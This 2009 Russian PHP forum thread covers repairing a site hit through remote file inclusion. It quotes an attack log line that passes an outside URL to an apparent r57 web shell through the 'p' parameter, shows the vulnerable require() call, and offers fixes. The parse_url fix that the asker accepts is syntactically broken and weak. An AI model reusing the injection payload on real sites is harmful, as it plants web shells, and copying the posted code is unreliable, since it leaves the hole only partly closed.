Страница 1 из 1
подсаживаются любые файлы в переменную
Добавлено: 2009-02-24 21:11:27
moadip
Помогите исправить баг,
вообщем есть сайт, который был удачно атакован кулцхакером,
вот лог
Код: Выделить всё
"POST /?p=http://www.netempresaseguros.com/r57.txt?? HTTP/1.1" 200 11865 "http://*****.ru/?p=http://www.netempresaseguros.com/r57.txt??""
как я панимаю через переменную 'p' подсадили какой-то левый файл,
соовтветнно надо сделать или какую нить проверку, или что-бы через данную переменную могли выполнятся только файлы которые находятся на сервере.
в файле index.php нашёл такие строки
Код: Выделить всё
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
что в них надо добавить что-бы файлы с другого сайта неподсаживались ?
p.s. в google уже был, чё-то ничего дельного ненашёл.....

Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-24 22:58:53
zg
проверяй путь к файлу через
realpath()
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 8:02:51
ADRE
можно извратится через parse_url() и если урл не равен заданному -> в жопу переменную....
справочник функций есть? если нету то есть на php.net и где-то был одним аштмл архивом
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 8:20:40
moadip
с пхп совсем плохо,
можете носом тыкнуть, что надо сделать...
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 9:12:19
ADRE
Код: Выделить всё
$ php -r 'print_r( parse_url("http://username:password@hostname/path?arg=value#anchor"));'
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
$ php -r 'print_r( parse_url("http://invalid_host..name/"));'
Array
(
[scheme] => http
[host] => invalid_host..name
[path] => /
)
- это в примере, тебе надо:
когда идет проверка переменной короче:
Код: Выделить всё
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
замени на:
Код: Выделить всё
$zlo = parse_url($HTTP_GET_VARS['p']);
if ($zlo['host'] != $_ENV['SERVER_NAME']) {
die('мая испугаться вас');
} else {
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
}
- вот только не помню сервер нейм тащит http или без него....
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 9:28:53
zg
ADRE писал(а):можно извратится через parse_url()
нда....
ADRE писал(а):if ($zlo['host'] != $_ENV['SERVER_NAME'])

Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 9:49:15
moadip
zg писал(а):
if ($zlo['host'] != $_ENV['SERVER_NAME'])

?
непрокатит ?
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 10:11:27
zg
Код: Выделить всё
$page = './'. strtr($page, array('../' => '/', "\0" => ''));
if (realpath($page))
include($page);
else
echo "Bad file name $page";
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 10:51:08
moadip
zg писал(а):Код: Выделить всё
$page = './'. strtr($page, array('../' => '/', "\0" => ''));
if (realpath($page))
include($page);
else
echo "Bad file name $page";
просто добавить в существующий код ?
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 10:53:32
zg
нет
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 11:18:18
ADRE
ну так а что такого? ой бля ... там же много че написано ))) не досмотрел... ) мда то что предлогал - работать не будет .....
-----------------------
strtr() сначала всегда ищет самое длинное совпадение и *НЕ* пытается заменить то, с чем уже работала.
- круто блин ) что \-то таких вещей даже руки не доходили - хотя вроде банальная вещь ....
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 11:41:42
zg
ADRE писал(а):и *НЕ* пытается заменить то, с чем уже работала.
в отличие от str_replace, которая ещё и жрёт кучу оперативы при этом
ADRE писал(а):там же много че написано )))
действительно -)))
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 11:52:03
moadip
ADRE писал(а): замени на:
Код: Выделить всё
$zlo = parse_url($HTTP_GET_VARS['p']);
if ($zlo['host'] != $_ENV['SERVER_NAME']) {
die('мая испугаться вас');
} else {
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
}
- вот только не помню сервер нейм тащит http или без него....
спасибо,
работает
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 11:54:30
ADRE
zg писал(а):ADRE писал(а):и *НЕ* пытается заменить то, с чем уже работала.
в отличие от str_replace, которая ещё и жрёт кучу оперативы при этом
будем знать - а то str_replace в конец достал, долго ссылки заменяет адреса доменов, когда контент парсится )))
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 11:55:35
ADRE
moadip писал(а):ADRE писал(а): замени на:
Код: Выделить всё
$zlo = parse_url($HTTP_GET_VARS['p']);
if ($zlo['host'] != $_ENV['SERVER_NAME']) {
die('мая испугаться вас');
} else {
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
}
- вот только не помню сервер нейм тащит http или без него....
спасибо,
работает
и ниче не подгружает? то чего не надо?
Re: подсаживаются любые файлы в переменную
Добавлено: 2009-02-25 12:01:00
moadip
не, нормуль
если вставить в переменную ссылку на другой сайт выплёвывает die('мая испугаться вас');